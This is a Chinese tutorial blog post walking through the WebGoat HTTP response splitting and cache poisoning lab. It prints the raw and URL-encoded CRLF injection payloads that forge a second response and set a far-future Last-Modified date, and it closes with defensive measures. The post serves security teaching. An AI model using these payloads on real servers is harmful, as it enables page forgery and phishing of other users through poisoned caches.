WebGoat之HTTP Spliting(拆分)过程及总结分析 - 2016.01.02

来源:互联网 发布:visual studio for mac 编辑:程序博客网 时间:2024/05/20 11:20

HTTP Spliting(拆分)

HTTP Spliting攻击讲解

之所以会出现http拆分是因为客户端和服务器端每一次交互的结束标志、存在重定向和对于服务器端响应的消息在客户端是以消息队列的方式存在的。当客户端向服务器发出一个请求的时候,有时候这个请求要求服务器给我们重定向到其他的地址,这是服务器会返回给客户端一个302的重定向信息,并以Location标签给出重定向之后的访问地址,客户端收到服务器端的重定向数据后会向Location所指的地址发送访问请求。

在http响应中,浏览器会根据content-length:0向下寻找到换行为止作为一个响应的结束,然后将所有的响应以消息队列的形式存起来。如果我们可以构造特殊的参数使得浏览器收到重定向消息的时候,将收到的一个响应当做两个响应,那么我们的第二个响应就会被存入消息响应队列中,接着浏览器就会根据Location的地址,进行重定向的请求,这时候由于我们构造的第二个响应已经存在于消息队列,则浏览器会直接把它拿来当做我们重定向请求后得到的响应。这样我们就可以用自己构造的页面替代用户访问的页面,进而施行钓鱼攻击等。

如表1所示的内容,浏览器在收到服务器端的响应之后首先根据Content-length: 0 加换行将消息分为两个响应并加入消息队列,其次取出第一个响应的消息发现是一个302的重定向,则会向Location的地址发送请求,这是浏览器检测到自己的消息队列中由内容存在,也就是我们第一次请求得到的第二个响应消息,它会直接把这个响应消息当做重定向请求得到的响应。(在下面我们以不同颜色标出了两次响应消息)

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=hahaha

Content-Type: text/html;charset=ISO-8859-1

Content-length: 0

 

HTTP/1.1 200 OK

Content-tpye:Content-Type: text/html;charset=ISO-8859-1

Content-length:19

<html>hacked</html>

Date: Sat, 02 Jan 2016 11:12:55 GMT

X-RevealHidden: possibly modified 

表 1

HTTP Spliting攻击

HTTP Spliting攻击就是基于这个简单的原理,我们可以通过添加CR和LF(换行)对响应消息进行拆分,在WebGoat Http Spliting攻击中“hahaha”是我们输入的参数,现在我们需要利用换行将我们的参数变成之前我们参数那行后面所有的数据,然后在输入框中输入。即表2的内容(记得需要进行UrlEncod转码)

hahaha

Content-Type: text/html;charset=ISO-8859-1

Content-length: 0

 

HTTP/1.1 200 OK

Content-tpye:text/html;charset=ISO-8859-1

Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT

Content-length:19

<html>hacked</html>

Date: Sat, 02 Jan 2016 11:12:55 GMT

X-RevealHidden: possibly modified 

表 2

转码后内容见表3,将表3的内容输入我们的输入框进行提交则会发现重定向成功。

hahaha%0d%0aContent-Type%3a+text%2fhtml%3bcharset%3dISO-8859-1%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-tpye%3atext%2fhtml%3bcharset%3dISO-8859-1%0d%0aContent-length%3a19%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b%0d%0aDate%3a+Sat%2c+02+Jan+2016+11%3a12%3a55+GMT%0d%0aX-RevealHidden%3a+possibly+modified

表 3

图1是我们提交数据之后,Webscarab截获的客户端请求数据。

图 1

HTTP Spliting攻击和缓冲区中毒

当然,到此为止,你可能会有疑问,这一系列操作不是在黑自己吗?谁那么傻,还给自己重定向。是的,我起初刚学的时候也是这么想的。但是当你接着往下做的时候你会发现HTTP拆分攻击其实是需要配合缓存中毒一起使用的。缓冲区中毒攻击的目标是使缓存中毒,欺骗缓存,使其相信HTTP拆分的页面是一个很正常的页面,是一个服务器的副本。

换句话说吧,当我们通过代理服务器去访问外网的时候,代理服务器并不是每一次都会请求新的页面它和浏览器一样都会有缓存,首先它会根据时间判断缓存是否过期,是否需要向外面请求,这时就会用到一个标签Last-modified,服务器会判断在这个时间之后你所访问的页面是否被修改过,如果没有被修改则从本地缓存中取出,否则向外部请求页面,如果我们将Last-modified这个标签的内容指定到未来的一个时间,则在现在看来这个页面在这个时间之后是不可能被修改的,也就是会从缓冲区取出这个页面,这是其他用户访问这个页面的时候,由于我们对这个页面的Last-modified标签设置了一个未来的时间,则他们拿到的实际上是我们伪造的页面。

既然他们访问的页面是我们伪造的,那我们岂不是想干什么就干什么了吗,哈哈哈,对的我们就可以利用这一点对其进行钓鱼攻击,进而获取用户的信息。

那接下来我们进行304攻击,即刚刚我们提到的“没有修改”攻击。这是我们只需在我们上一步的那个伪造输入参数的第二个响应中加入如下信息:

Last-Modified: Thu, 01 Jan 2100 12:00:00 GMT

这个时间的格式规定的,最后的那个GMT指的的格林尼治时间,然后我们再对其进行URLEncode编码得到如表4所示数据,在输入框中输入之后我们就会发现304响应出现了,即我们将HTTP拆分和缓冲区中毒成功的用在了一起。

hahaha%0d%0aContent-Type%3a+text%2fhtml%3bcharset%3dISO-8859-1%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-tpye%3atext%2fhtml%3bcharset%3dISO-8859-1%0d%0aLast-Modified%3a+Thu%2c+01+Jan+2099+12%3a00%3a00+GMT%0d%0aContent-length%3a19%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b%0d%0aDate%3a+Sat%2c+02+Jan+2016+11%3a12%3a55+GMT%0d%0aX-RevealHidden%3a+possibly+modified

表 4

HTTP Spliting攻击防御

(1)首先我们知道,之所以存在HTTP拆分攻击是由于重定向的时候没有做好响应结束符的控制,即CR和LF的控制,则我们可以对CR和LF换行符进行过滤或者编码处理;

(2)还有一点我们不容忽视的就是客户端接受服务器端响应消息的行为,我们可以一次接受所有的消息而不是分开接受,或者说将多余的消息抛掉,这样也可以有效避免HTTP拆分攻击;

(3)缓冲区中毒是由于Last-modified所指时间是一个未来的时间,我们可以根据判断所指时间是否合法来控制缓冲区中毒现象;

然而现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都已经对这个问题作过了改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。所以如果想要在自己的实验室环境中重现对HTTP应答拆分漏洞的成功利用,可以尝试安装比较老的Web服务器版本,比如Tomcat 4.1.24之前的版本。另外客户端也会有些关系,因为客户端可能会在每次请求后完全收取服务器响应回来的数据,并且把超出范围的多余数据丢弃,这样也可以避免HTTP应答拆分攻击可能造成的影响。


1 0
原创粉丝点击